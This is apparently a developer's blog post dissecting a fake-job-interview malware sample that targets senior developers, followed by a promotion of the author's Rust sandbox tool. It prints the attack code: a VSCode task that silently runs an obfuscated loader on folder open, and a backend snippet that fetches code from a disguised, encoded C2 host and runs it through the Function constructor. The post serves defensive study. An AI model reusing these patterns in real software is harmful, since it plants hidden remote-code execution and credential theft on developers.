Anatomy of a Contagious Interview: malware disguised as a job interview, targeting senior devs
A malware campaign targets senior developers with fake Web3 interviews. I dissected a real sample — two coordinated payloads (editor autorun + backend RCE), what saved me, and the open-source sandbox it made me dust off.
There's a malware campaign targeting senior developers, and the entry vector is your LinkedIn inbox: fake "dream jobs" whose technical challenge is, in fact, the malware. As the founder of ConsoliDados, I get these approaches constantly — a senior, visible developer is exactly the target. Most of the time the filter is trivial. This one went the furthest, so it's worth dissecting: I grabbed the sample, opened it up, and I'm documenting the technical walkthrough here.
For years I've gotten invitations with very high remote salaries (senior, above US$ 180k/year) in common stacks: TS, Node, React, Java. For a remote role in the US, aimed at a US-based candidate, that adds up. For remote worldwide, it's too high — that's my first filter, and it's usually enough.
Why this one almost slipped through
This time the bait was convincing: the pay was high but plausible for the company and the stack (TypeScript + Rust, ~US$ 100k/year). The technical challenge was a clean repository that passed my initial security checks. Even so, the code was too simple for the level on offer — and it was precisely that simplicity that put me on alert, together with the fact that the repo lived on a personal Bitbucket account. None of those signals condemns on its own — personal repos exist, tech leads write simple challenges, and not every technical challenge lives in the company's official repository — but the combination demanded attention.
I moved on to the technical interview and then to a live coding session. That's where the mask slipped.
The live coding, where the mask slipped
The call started like a normal process: questions about my background and a few technical questions, fairly shallow — until they asked me to clone a repository for the live coding. I had already cloned and run everything inside a sandbox: a container with the project mounted as a volume (I installed the dependencies on the host and mapped them into the container along with the project — I took a bit of a risk there), three terminals in a tmux session. When the interviewer asked me to "let him know when I ran it," I said it was already running — and I could see him reading or waiting for something on a second monitor. Today I know he was waiting for the attack's logs and was probably following a script. He even asked whether I had really opened the project and whether it was up.
I maximized Neovim and showed the editor. He didn't recognize it and insisted: "it has to be Cursor, that's what the company uses." No technical reason whatsoever. Next, still without Cursor, he asked again whether the project was running — that's when I showed the frontend at localhost:3000 and, in one of the tmux terminals, the project up and running. Then came the pressure for a specific operating system: he assumed I was on Windows and asked whether I couldn't boot into it; when I said I was on Arch, he came back with "here at the company we use Windows or macOS." He saw my Mac through the camera and suggested macOS — I replied that the Mac also only had Arch Linux. In the end, he rescheduled for the next day and asked for a Windows or a Mac with Cursor installed. That day never came — they're still waiting.
That insistence on a specific editor/OS, with no technical justification, plus the "let's reschedule and try again," is the attack hunting for an environment where the payload detonates.
The reveal: two coordinated payloads
After the call I dug through the code, found suspicious snippets in the backend, and asked Claude Code to scan the repository with YARA and ClamAV. We found two independent, coordinated payloads — defense-in-depth from the attacker's side: no matter how you "run the challenge," at least one fires.
Vector 1: silent autorun on folder open
The first vector doesn't need you to run anything. A .vscode/tasks.json defines a task that runs on the folderOpen event — the instant you open the folder in VSCode or Cursor — and every presentation flag is set to leave no visual trace.
1{
2 "label": "eslint-check",
3 "type": "shell",
4 "command": "node .vscode/cancel",
5 "isBackground": true,
6 "hide": true,
7 "presentation": {
8 "reveal": "never", "panel": "dedicated",
9 "focus": false, "clear": false, "echo": false, "close": true
10 },
11 "runOptions": { "runOn": "folderOpen" }
12}The file it runs, .vscode/cancel, is ~105 KB of heavily obfuscated JavaScript — with no extension, to dodge naive filters. It's a BeaverTail-family loader. Inside, the usual: a rotated string array and aliasing of the language's primitives, repeated over tens of KB to frustrate static analysis.
1(function(a,b){const c=a();while(!![]){try{const d=parseInt(vmb(0x1))/0x1+...
2
3let vmo = typeof globalThis !== 'undefined' ? globalThis :
4 typeof window !== 'undefined' ? window : global,
5 vmr = Object.defineProperty,
6 vms = Object.create,
7 vmw = Object.setPrototypeOf,
8 vmy = Function.prototype.call,
9 vmA = Reflect.apply;
10// … (105 KB)That's why the "recruiter" was so insistent on Cursor/VSCode: he needs the folder opened in a graphical IDE, not the backend executed.
Vector 2: backend RCE via disguised eval
The second vector lives in server/routes/api/profile.js — a legitimate route from the devconnector template, with malicious code inserted in the "empty space" between two real handlers. Because server.js does a require() of that route, the top-level code executes.
The core is a disguised eval. Instead of the literal eval (which scanners flag), it uses the Function constructor to build a (require) => { ... } function from a string and invoke it with the real require injected — full access to Node's modules.
1const errorHandler = (error) => {
2 try {
3 if (typeof error !== 'string') {
4 console.error('Invalid error format. Expected a string.');
5 return;
6 }
7 const createHandler = (errCode) => {
8 const handler = new (Function.constructor)('require', errCode);
9 return handler;
10 };
11 const handlerFunc = createHandler(error);
12 if (handlerFunc) {
13 handlerFunc(require);
14 }
15 } catch (globalError) {
16 console.error('Unexpected error:', globalError.message);
17 }
18};Where does the string to be evaluated come from? A command-and-control server (C2). And here are two neat anti-analysis tricks:
1const subdomain = "api/service/token";
2const id = "b2040f01294c183945fdbe487022cf8e";
3const domain = Buffer.from(
4 "Y2hhaW5saW5rLWFwaS12My5saXY=",
5 "base64"
6).toString("utf-8");
7
8const getPassport = () => {
9 axios.get(`http://${domain}e/${subdomain}/${id}`)
10 .then(res => res.data)
11 .catch(err => errorHandler(err.response.data || "404"));
12};First: the base64 decodes to chainlink-api-v3.liv — without the trailing e. The e is only concatenated at request time (${domain}e/), so a grep for the C2 string finds nothing. The domain, on top of that, is a typosquat of the Chainlink brand.
Second, and cleverer: the payload arrives via .catch, not .then. The C2 always replies with a 4xx/5xx, axios throws, and the error body (err.response.data) goes straight into the eval. Anyone looking for "success response → execution" sees nothing.
And the trigger? A top-level IIFE, named passport to pass for Passport.js config. It fires the moment the route is imported — no request needs to be made.
1const passport = (() => {
2 getPassport();
3})();What saved me
None of this detonated. For three reasons, and none of them was luck:
- Sandbox. I ran everything in an isolated container; Vector 2 even executed, but with no network to reach the C2 (
err.responsecame backundefinedand theevaldied on a harmlessTypeError). - A terminal editor. I use Neovim. I never opened the folder in a graphical IDE, so Vector 1's autorun never fired. Every dev should know the basics of vim/neovim/nano.
- Linux. The attack is more mature on Windows/macOS —
.vscode/canceleven includes a PowerShellSet-ExecutionPolicybypass branch. Hence the OS pressure.
The defense that became a product
This episode made me dust off an open-source project: a sandbox CLI in Rust for running untrusted code in isolation. The premise is "paranoid by default" — unsafe behavior is opt-in, not opt-out.
The default profile is the security posture written as data: no network, ephemeral HOME, every Linux capability dropped.
1pub fn default_profile() -> Self {
2 Self {
3 name: "default".to_string(),
4 unsafe_mode: false,
5 network: false, // no egress
6 ephemeral_home: true, // throwaway HOME
7 cap_drop: "ALL".to_string(),
8 no_new_privileges: true,
9 cpu: Some(2.0),
10 memory_mb: Some(4096),
11 no_compose_deps: false,
12 }
13}The source code is mounted read-only (unless you ask for --unsafe), and HOME points to a throwaway tmpfs — your real ~/.ssh, ~/.aws and ~/.config/gcloud are never mounted, so there's nothing to leak.
1mounts.push(Mount::Bind {
2 src: ctx.project.path.clone(),
3 dst: ctx.manifest.workdir.clone(),
4 read_only: !ctx.profile.unsafe_mode, // RO, except with --unsafe
5});
6
7if ctx.profile.ephemeral_home {
8 mounts.push(Mount::Tmpfs { dst: "/home/sandbox".to_string() });
9}That profile turns into real docker run arguments (the tool shells out to docker rather than using native bindings — a deliberate decision recorded in an ADR). The default network is an --internal Docker network, with no path to the internet; dropped capabilities and no-new-privileges close the rest.
1match &self.network {
2 NetworkSpec::None => { a.push("--network".into()); a.push("none".into()); }
3 NetworkSpec::Internal(name) => { a.push("--network".into()); a.push(name.clone()); }
4 NetworkSpec::Bridge => { a.push("--network".into()); a.push("bridge".into()); }
5}
6
7if self.security.cap_drop_all {
8 a.push("--cap-drop".into()); a.push("ALL".into());
9}
10if self.security.no_new_privileges {
11 a.push("--security-opt".into()); a.push("no-new-privileges".into());
12}And there's a pre-flight scan: before the container comes up, the project is scanned with YARA (the yara-x engine, pure Rust) and, optionally, ClamAV. Found something high-severity? The run is blocked.
1async fn pre_flight_scan(ctx: &Context, args: &Args) -> Result<()> {
2 if args.unsafe_mode || args.no_scan { return Ok(()); }
3 let mut report = sandbox_scan::scan(&ctx.project.path, &opts)?;
4 let blocking: Vec<_> = report.findings.iter()
5 .filter(|f| f.severity >= sandbox_scan::Severity::High)
6 .collect();
7 if !blocking.is_empty() {
8 return Err(crate::Error::ScanBlocked { count: blocking.len() });
9 }
10 Ok(())
11}In practice, the reader's flow is this:
1# Detect the language, secure mode (RO source, no internet, scan first)
2sandbox run .
3
4# Audit only — no container, full report
5sandbox scan . --explain
6
7# Trust the project: full read/write, network on, scan skipped
8sandbox run . --unsafeIt runs 100% on Linux; testing on Windows/macOS is left to the community. The code is at github.com/JohnnyCarreiro/sandbox.
Lessons for senior devs
- Distrust by default in any hiring process. Never install anything in the heat of the moment.
- If a company restricts your tools, it tells you up front — and with a technical reason. Pressure for a specific editor/OS in the middle of a live coding session, with no justification, is a red flag.
- Run unknown code in a sandbox or VM. Forced into a graphical IDE? Use a profile that doesn't auto-run tasks (VSCode's Workspace Trust exists for this).
- Read the constellation, not the isolated signal. A repo on a personal account, or an interviewer who doesn't know company details, don't condemn on their own. The pattern of signals does.
This kind of attack — known as Contagious Interview, publicly attributed to North Korea–linked groups (Lazarus / Famous Chollima) — isn't only after cards and crypto. It's after credentials, SSH keys, cloud tokens and, through you, the supply chain of the company you work for. For senior devs, the target is exactly the access you've accumulated.
One important note: the company used as bait is also a victim of the impersonation — it is not the attacker.
At ConsoliDados, this is the rigor we apply before running any third-party code — ours or a client's: sandbox, scan and isolation by default. Security isn't a step at the end of the process; it's the posture from the first git clone.
Johnny Carreiro is the founder of ConsoliDados — a consultancy in applied AI engineering, performance, and legacy modernization.